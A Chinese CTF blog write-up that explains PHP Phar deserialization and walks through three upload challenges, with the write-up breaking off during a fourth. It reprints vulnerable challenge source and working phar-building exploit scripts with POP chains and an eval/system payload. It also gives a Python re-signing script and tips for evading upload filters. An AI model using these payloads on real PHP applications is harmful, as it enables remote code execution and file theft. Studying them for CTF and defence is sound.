• 文件上传与Phar反序列化的摩擦


    提示:文章yu写完后,目录可以自动生成,如何生成可参考右边的帮助文档

    目录

    前言

    一、Phar是什么?

    二、Phar压缩文件的组成

    三、Phar伪协议

    四、SWPU 2018[SimplePHP]

     五、[NSSRound#4 SWPU]1zweb

    六、[HSCSEC2023]EASYPHY

    七、[SWPUCTF 2021 新生赛]babyunser

    总结


    前言

    提示:这里可以添加本文要记录的大概内容:

    最近在刷题的时候,连续做到了两道文件上传+Phar的反序列化题目,对以前不太熟悉的Phar熟悉了一点,做个记录。


    提示:以下是本篇文章正文内容,下面案例可供参考

    一、Phar是什么?

    官方文档的解析:phar扩展提供了一种将整个PHP应用程序放入一个名为“phar”(PHP Archive)的文件中的方法,以便于分发和安装。除了提供此服务之外,phar扩展还提供了一种文件格式抽象方法,用于通过PharData类创建和操作tar和zip文件,就像PDO为访问不同的数据库提供了统一的接口一样。与PDO不同,它不能在不同的数据库之间转换,Phar也可以用一行代码在tar、zip和Phar文件格式之间转换。Phar归档的最佳特点是将多个文件组合为一个文件的便捷方式。因此,phar归档提供了一种将完整的PHP应用程序分发到单个文件中并从该文件运行的方法,而无需将其解压缩到磁盘。此外,无论是在命令行上还是在web服务器上,PHP都可以像任何其他文件一样轻松地执行phar归档。Phar有点像PHP应用程序的拇指驱动器。

    简单来说,phar可以将多个PHP打包成一个phar的文件,可以看作就是一个压缩文件。

    二、Phar压缩文件的组成

    一般phar由四个部分组成:1、存根,2、描述内容的清单,3、文件内容,4、完整性签名,

    简单来说就是

    1、Stub:即Phar文件的文件头,默认是,xxx可以是自定义的任何字符,不定义默认就为

    2、a manifest describing the contents:phar包的各种属性信息,包括文件名、压缩文件的大小,序列化的文件、大小等等

            

    3、file contents:即要添加的压缩的文件的名

    4、Phar Signature format:即Phar文件的签名,确保文件的完整性,可以是20字节的SHA1,16字节的MD5,32字节的SHA256,64字节的512等

     更多的关于Phar的函数等,参考:Phar - PHP中文版 - API参考文档https://www.apiref.com/php-zh/book.phar.html

    三、Phar伪协议

    phar伪协议可以是PHP的一个解压缩包的函数,不管后缀,都会当做压缩包来解压,由于Phar内容清单中存储内容的形式是序列化的,当文件中有file_get_content(),file_exists()等函数的参数可控时候,使用phar://伪协议,会直接进行反序列化的操作将文件内容还原,即使不用unserialize()反序列化函数也能进行反序列化的操作,就有可能导致反序列化的漏洞。

    具体分析参考:Phar与Stream Wrapper造成PHP RCE的深入挖掘 - 先知社区 (aliyun.com)

    四、SWPU 2018[SimplePHP]

    1、进入题目:

            

    在查看文件处发现url中存在file参数,能够直接查看到index.php,class.php的源码,主要的源码如下: 

     file.php:

    1. header("content-type:text/html;charset=utf-8");
    2. include 'function.php';
    3. include 'class.php';
    4. ini_set('open_basedir','/var/www/html/'); #将可访问的目录限制在/var/www/html
    5. $file = $_GET["file"] ? $_GET['file'] : "";
    6. if(empty($file)) {
    7. echo "

      There is no file to show!

      ";

    8. }
    9. $show = new Show(); #创建class的Show()类
    10. if(file_exists($file)) {
    11. $show->source = $file;
    12. $show->_show(); #调用Show类的_show()方法
    13. } else if (!empty($file)){
    14. die('file doesn\'t exists.');
    15. }
    16. ?>

    Class.php:

    1. class C1e4r
    2. {
    3. public $test;
    4. public $str;
    5. public function __construct($name)
    6. {
    7. $this->str = $name;
    8. }
    9. public function __destruct()
    10. {
    11. $this->test = $this->str;
    12. echo $this->test;
    13. }
    14. }
    15. class Show
    16. {
    17. public $source;
    18. public $str;
    19. public function __construct($file)
    20. {
    21. $this->source = $file;
    22. echo $this->source;
    23. }
    24. public function __toString()
    25. {
    26. $content = $this->str['str']->source;
    27. return $content;
    28. }
    29. public function __set($key,$value)
    30. {
    31. $this->$key = $value;
    32. }
    33. public function _show()
    34. {
    35. if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
    36. die('hacker!');
    37. } else {
    38. highlight_file($this->source);
    39. }
    40. }
    41. public function __wakeup()
    42. {
    43. if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
    44. echo "hacker~";
    45. $this->source = "index.php";
    46. }
    47. }
    48. }
    49. class Test
    50. {
    51. public $file;
    52. public $params;
    53. public function __construct()
    54. {
    55. $this->params = array();
    56. }
    57. public function __get($key)
    58. {
    59. return $this->get($key);
    60. }
    61. public function get($key)
    62. {
    63. if(isset($this->params[$key])) {
    64. $value = $this->params[$key];
    65. } else {
    66. $value = "index.php";
    67. }
    68. return $this->file_get($value);
    69. }
    70. public function file_get($value)
    71. {
    72. $text = base64_encode(file_get_contents($value));
    73. return $text;
    74. }
    75. }
    76. ?>

     Show类的_show()方法过滤了http、https等各种伪协议,但是没有过滤phar为协议,并且这里有一堆魔术函数,可以看看能否找到Phar伪协议的利用点,发现Test类的file_get()函数有通过file_get_contents直接获取到$value参数的内容。

    get()方法可以调用file_get()函数,get()方法被魔术方法__get()所调用,__get()主要用途在外部调用PHP的私有属性时,属性为了解决私有属性无法访问时调用的,那么当Test类的属性被设为private或者没有时,会触发这个方法。

    Show类中魔术方法__toString调用了一个$source属性,那么让str['str']为Test类即可触发__get方法,__toString方法的触发主要是当对象被当作字符串使用时。

     

    __destruct()析构函数,在类结束时会自动调用,函数中对$str赋值给$test,让$str为Show类,就相当于被当作字符串对待,即可触发__toString方法。

    Pop链 Test::file_get()->Test::__get()->Show::__toString()->C1e4r::__destruct()

    upload_file.php:

    1. //show_source(__FILE__);
    2. include "base.php";
    3. header("Content-type: text/html;charset=utf-8");
    4. error_reporting(0);
    5. function upload_file_do() {
    6. global $_FILES;
    7. $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
    8. //mkdir("upload",0777);
    9. if(file_exists("upload/" . $filename)) {
    10. unlink($filename);
    11. }
    12. move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
    13. echo '';
    14. }
    15. function upload_file() {
    16. global $_FILES;
    17. if(upload_file_check()) {
    18. upload_file_do();
    19. }
    20. }
    21. function upload_file_check() {
    22. global $_FILES;
    23. $allowed_types = array("gif","jpeg","jpg","png");
    24. $temp = explode(".",$_FILES["file"]["name"]);
    25. $extension = end($temp);
    26. if(empty($extension)) {
    27. //echo "

      请选择上传的文件:" . "

      ";

    28. }
    29. else{
    30. if(in_array($extension,$allowed_types)) {
    31. return true;
    32. }
    33. else {
    34. echo '';
    35. return false;
    36. }
    37. }
    38. }
    39. ?>

     对上传文件进行了gif、jpeg、jpg、png的后缀名检测,并且存储在upload中,上传的文件重命名为md5(文件名+IP地址).jpg的形式,因此可以通过Pop链生成phar归档文件,修改为gif或jpg等文件后缀,最后通过Phar://伪协议直接进行反序列化,使得C1e4r会获取到flag的内容,并echo出来。

    1. class C1e4r
    2. {
    3. public $test;
    4. public $str;
    5. }
    6. class Show
    7. {
    8. public $source;
    9. public $str;
    10. }
    11. class Test
    12. {
    13. public $file;
    14. public $params;
    15. }
    16. $m=new C1e4r();
    17. $m->str=new Show();
    18. $m->str->str['str']=new Test();
    19. $m->str->str['str']->params["source"]="/var/www/html/f1ag.php";
    20. @unlink('test.phar');
    21. $phar=new Phar('test.phar');
    22. $phar->startBuffering();
    23. $phar->setStub(''); #定义Phar的文件头
    24. $phar->setMetadata($m); #注入文件的内容数据
    25. $phar->addFromString("test.txt","test");#以字符串的形式添加文件进行归档
    26. $phar->stopBuffering();
    27. #Pop链 Test::file_get()->Test::__get()->Show::__toString()->C1e4r::__destruct()
    28. ?>

     

    对echo出来的内容,进行base64解码,即得到flag,这里的md5重命名,好像怎么都不对,但是可以直接访问/upload/目录看到文件的名称。 

     五、[NSSRound#4 SWPU]1zweb

    进入题目:

    同样在查询文件处能够直接得到各php文件的源码 ,源码缺省部分打开F12就能看到被注释掉了,如下:

     index.php:

    1. class LoveNss{
    2. public $ljt;
    3. public $dky;
    4. public $cmd;
    5. public function __construct()
    6. {
    7. $this->ljt = "ljt";
    8. $this->dky = "dky";
    9. phpinfo();
    10. }
    11. public function __destruct()
    12. {
    13. if($this->ljt==="Misc"&&$this->dky==="Re")
    14. eval($this->cmd);
    15. }
    16. public function __wakeup()
    17. {
    18. $this->ljt="Re";
    19. $this->dky="Misc";
    20. }
    21. }
    22. $file=$_POST['file'];
    23. if(isset($_POST['file']))
    24. {
    25. if (preg_match("/flag/", $file))
    26. {
    27. die("nonono");
    28. }
    29. echo file_get_contents($file);
    30. }

    又是file_get_contents()函数获取到$file的内容,并且$file可控,并且__destruct()中存在eval(),可能可以进行命令执行,条件是$ljt和$dky的值是Misc和Re。

     upload.php:

    1. if ($_FILES["file"]["error"]-->0)
    2. {
    3. echo "上传异常";
    4. }
    5. else{
    6. $allowedExts = array("gif", "jpeg", "jpg", "png");
    7. $temp = explode(".", $_FILES["file"]["name"]);
    8. $extension = end($temp);
    9. if (($_FILES["file"]["size"] && in_array($extension, $allowedExts)))
    10. {
    11. $content=file_get_contents($_FILES["file"]["tmp_name"]);
    12. $pos = strpos($content, "__HALT_COMPILER();");
    13. if(gettype($pos)==="integer")
    14. {
    15. echo "ltj一眼就发现了phar";
    16. }
    17. else
    18. {
    19. if (file_exists("./upload/" . $_FILES["file"]["name"]))
    20. {
    21. echo $_FILES["file"]["name"] . " 文件已经存在";
    22. }
    23. else{ $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
    24. fwrite($myfile, $content); fclose($myfile);
    25. echo "上传成功 ./upload/".$_FILES["file"]["name"];
    26. }
    27. }
    28. }
    29. else{ echo "dky不喜欢这个文件 .".$extension; } } ?>

    同样对上传的文件进行了gif、jpeg、jpg、png的后缀名检测, 并且在上传的文件内容中搜索__HALT_COMPILER();第一次出现的位置,搜索到即echo发现phar,否则如果文件不存在则上传成功。

    虽然对 __HALT_COMPILER()进行了检测,但是完全可以对生成的phar文件进行zip加密,__HALT_COMPILER()应该会消失,绕过了文件上传的检测的同时phar依旧会对zip文件进行解压缩,然后file_get_contents()处可以利用phar伪协议触发反序列化,进行eval()的命令执行。

    由于LoveNss类中存在__wakeup()魔术方法,当反序列化时会自动调用,导致__destruct方法无法进行eval,因此要绕过__wakeup方法,当序列化中的成员数大于实际成员数的时候,即可绕过。

    1. class LoveNss{
    2. public $ljt="Misc";
    3. public $dky="Re";
    4. public $cmd="system('ls /');";
    5. }
    6. $a = new LoveNss();
    7. $phar = new Phar("phar.phar");
    8. $phar->startBuffering();
    9. $phar->setStub(""); //设置stub
    10. $phar->setMetadata($a); //自定义的meta-data
    11. $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    12. //签名自动计算,默认是SHA1
    13. $phar->stopBuffering();

     生成phar文件,要绕过__wakeup方法,手动修改反序列化的数量。

    这里修改了反序列的数量后,绕过了__wakeup()方法,但是修改之后,签名确保完整性就不对了,所以还要重新进行签名,默认是SHA-1算法,那么就用SHA-1算法吧。

    1. from hashlib import sha1
    2. file = open('phar.phar', 'rb').read()
    3. data = file[:-28]#要签名的部分是文件头到metadata的数据。
    4. final = file[-8:]
    5. newfile = data+sha1(data).digest()+final
    6. open('newpoc.phar', 'wb').write(newfile)

    生成了phar文件后,进行压缩看看是否能使__HALT_COMPILER()消失。

    确实不存在了,那么将zip文件修改了合适的后缀,上传应该就可以了吧,直接上传,使用phar://伪协议应该就可以了吧。

     

     这不对劲,Phar伪协议确实执行了解压,但是eval()函数似乎没有执行的命令内容呢,不符合预期的解,再重新试了几遍,发现结果都一样。想了一想,签名生成应该不会有问题,Phar能够进行解压缩,说明重新签名应该也不会有问题,有没有可能是zip压缩的问题,换一种压缩试试,换成gzip。

     继续进行同样的上传和phar://伪协议操作。

             

    这里显示要用SHA256加密进行签名,返回去将SHA1修改为SHA256,再进行gzip后,再进行相同的操作。

     

     通过gzip和SHA256签名得到flag,再想想,会不会本就要SHA256签名,发现进行SHA256签名后进行zip压缩 ,__HALT_COMPILER()不会消失,直接就上传不了,但是为什么ZIP加密不行依旧不懂,要是有师傅看到懂的,麻烦告诉一下。

    六、[HSCSEC2023]EASYPHY

    一道直接上传文件,然后可以查看文件目录名的题目,当时比赛的时候一直认为是传马getshell,结果绕了大半天,都没绕过去,结果它是一道传phar的文件上传进行反序列化的题目。 

     

    关键是这个acti0n参数,当时压根没注意,一直认为无法触发反序列化,可以通过这个参数读取到源码,并且提示flag.php

    upload.php源码:

    1. error_reporting(0);
    2. $dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/';
    3. if(!is_dir($dir)) {
    4. if(!mkdir($dir, 0777, true)) {
    5. echo error_get_last()['message'];
    6. die('Failed to make the directory');
    7. }
    8. }
    9. chdir($dir);
    10. if(isset($_POST['submit'])) {
    11. $name = $_FILES['file']['name'];
    12. $tmp_name = $_FILES['file']['tmp_name'];
    13. $ans = exif_imagetype($tmp_name);
    14. if($_FILES['file']['size'] >= 204800) {
    15. die('filesize too big.');
    16. }
    17. if(!$name) {
    18. die('filename can not be empty!');
    19. }
    20. if(preg_match('/(htaccess)|(user)|(\.\.)|(00)|(#)/i', $name) !== 0) {
    21. die('Hacker!');
    22. }
    23. if(($ans != IMAGETYPE_GIF) && ($ans != IMAGETYPE_JPEG) && ($ans != IMAGETYPE_PNG)) {
    24. $type = $_FILES['file']['type'];
    25. if($type == 'image/gif' or $type == 'image/jpg' or $type == 'image/png' or $type == 'image/jpeg') {
    26. echo "

      Don't cheat me with Content-Type!

      "
      ;
    27. }
    28. echo("

      You can't upload this kind of file!

      "
      );
    29. exit;
    30. }
    31. $content = file_get_contents($tmp_name);
    32. if(preg_match('/(scandir)|(end)|(implode)|(eval)|(system)|(passthru)|(exec)|(chroot)|(chgrp)|(chown)|(shell_exec)|(proc_open)|(proc_get_status)|(ini_alter)|(ini_set)|(ini_restore)|(dl)|(pfsockopen)|(symlink)|(popen)|(putenv)|(syslog)|(readlink)|(stream_socket_server)|(error_log)/i', $content) !== 0) {
    33. echo('');
    34. exit;
    35. }
    36. $extension = substr($name, strrpos($name, ".") + 1);
    37. if(preg_match('/(png)|(jpg)|(jpeg)|(phar)|(gif)|(txt)|(md)|(exe)/i', $extension) === 0) {
    38. die("

      You can't upload this kind of file!

      "
      );
    39. }
    40. $upload_file = $name;
    41. move_uploaded_file($tmp_name, $upload_file);
    42. if(file_exists($name)) {
    43. echo "

      Your file $name has been uploaded.

      "
      ;
    44. } else {
    45. echo '';
    46. }
    47. #header("refresh:3;url=index.php");
    48. }

    通过exif_imagetype()函数检查传入文件的类型,如果检查的结果与传入的type不匹配则返回Don't cheat me,然后用正则匹配.htaccess和user,防止解析图片,传入文件的内容不能出现scandir()等函数,通过截取最后一个点的形式,取出后缀,只能上传png,jpg,重点是可以上传phar文件。

     view.php源码:

    1. #include_once "flag.php";
    2. error_reporting(0);
    3. class View
    4. {
    5. public $dir;
    6. private $cmd;
    7. function __construct()
    8. {
    9. $this->dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/';
    10. $this->cmd = 'echo "
      Powered by: xxx
      ";'
      ;
    11. if(!is_dir($this->dir)) {
    12. mkdir($this->dir, 0777, true);
    13. }
    14. }
    15. function get_file_list() {
    16. $file = scandir('.');
    17. return $file;
    18. }
    19. function show_file_list() {
    20. $file = $this->get_file_list();
    21. for ($i = 2; $i < sizeof($file); $i++) {
    22. echo "

      [".strval($i - 1)."] $file[$i]

      "
      ;
    23. }
    24. }
    25. function show_img($file_name) {
    26. $name = $file_name;
    27. $width = getimagesize($name)[0];
    28. $height = getimagesize($name)[1];
    29. $times = $width / 200;
    30. $width /= $times;
    31. $height /= $times;
    32. $template = "$this->dir$name\" alt=\"$file_name\" width = \"$width\" height = \"$height\">";
    33. echo $template;
    34. }
    35. function delete_img($file_name) {
    36. $name = $file_name;
    37. if (file_exists($name)) {
    38. @unlink($name);
    39. if(!file_exists($name)) {
    40. echo "

      成功删除! 3s后跳转

      "
      ;
    41. header("refresh:3;url=view.php");
    42. } else {
    43. echo "Can not delete!";
    44. exit;
    45. }
    46. } else {
    47. echo "

      找不到这个文件!

      "
      ;
    48. }
    49. }
    50. function __destruct() {
    51. eval($this->cmd);
    52. }
    53. }
    54. $ins = new View();
    55. chdir($ins->dir);
    56. echo "

      当前目录为 " . $ins->dir . "

      "
      ;
    57. $ins->show_file_list();
    58. if (isset($_POST['show'])) {
    59. $file_name = $_POST['show'];
    60. $ins->show_img($file_name);
    61. }
    62. if (isset($_POST['delete'])) {
    63. $file_name = $_POST['delete'];
    64. $ins->delete_img($file_name);
    65. }
    66. unset($ins);
    67. ?>

     创建了View类,通过接受show参数和delete参数进行展示和删除,可以看到delete_img()中通过file_exists()判断文件名是否存在,而file_exists()是可以读取phar文件触发反序列化的,再来看销毁函数__destruct()可以进行eval(),因此可以进行RCE,同时upload中没有过滤show_source,highlight_file等显示文件的函数,可以使用。

    1. error_reporting(0);
    2. class View
    3. {
    4. public $dir;
    5. private $cmd='highlight_file("flag.php");';
    6. }
    7. $c=new View();
    8. $phar = new Phar("aiwin.phar"); //后缀名必须为phar
    9. $phar->startBuffering();
    10. $phar->setStub('GIF89a'.''); //设置stub
    11. $phar->setMetadata($c); //将自定义的meta-data存入manifest
    12. $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    13. //签名自动计算
    14. $phar->stopBuffering();

    七、[SWPUCTF 2021 新生赛]babyunser

    直接从文件查看器可以查看到源码:

    upload.php:

    1. aa的文件上传器
    2. "" enctype="multipart/form-data" method="post">
    3. 请选择要上传的文件:

    4. class="input_file" type="file" name="upload_file"/>
    5. <input class="button" type="submit" name="submit" value="上传"/>
    6. form>
    7. body>
    8. html>
    9. php
    10. if(isset($_POST['submit'])){
    11. $upload_path="upload/".md5(time()).".txt";
    12. $temp_file = $_FILES['upload_file']['tmp_name'];
    13. if (move_uploaded_file($temp_file, $upload_path)) {
    14. echo "文件路径:".$upload_path;
    15. } else {
    16. $msg = '上传失败';
    17. }
    18. }

    read.php:

    1. "en">
    2. "UTF-8">
    3. "viewport" content="width=device-width, initial-scale=1.0">
    4. "X-UA-Compatible" content="ie=edge">
    5. aa的文件查看器
    6. include('class.php');
    7. $a=new aa();
    8. ?>
    9. aa的文件查看器

    10. class="search_form" action="" method="post">
    11. <input type="text" class="input_text" placeholder="请输入搜索内容" name="file">
    12. <input type="submit" value="查看" class="input_sub">
    13. form>
    14. body>
    15. html>
    16. php
    17. error_reporting(0);
    18. $filename=$_POST['file'];
    19. if(!isset($filename)){
    20. die();
    21. }
    22. $file=new zz($filename);
    23. $contents=$file->getFile();
    24. ?>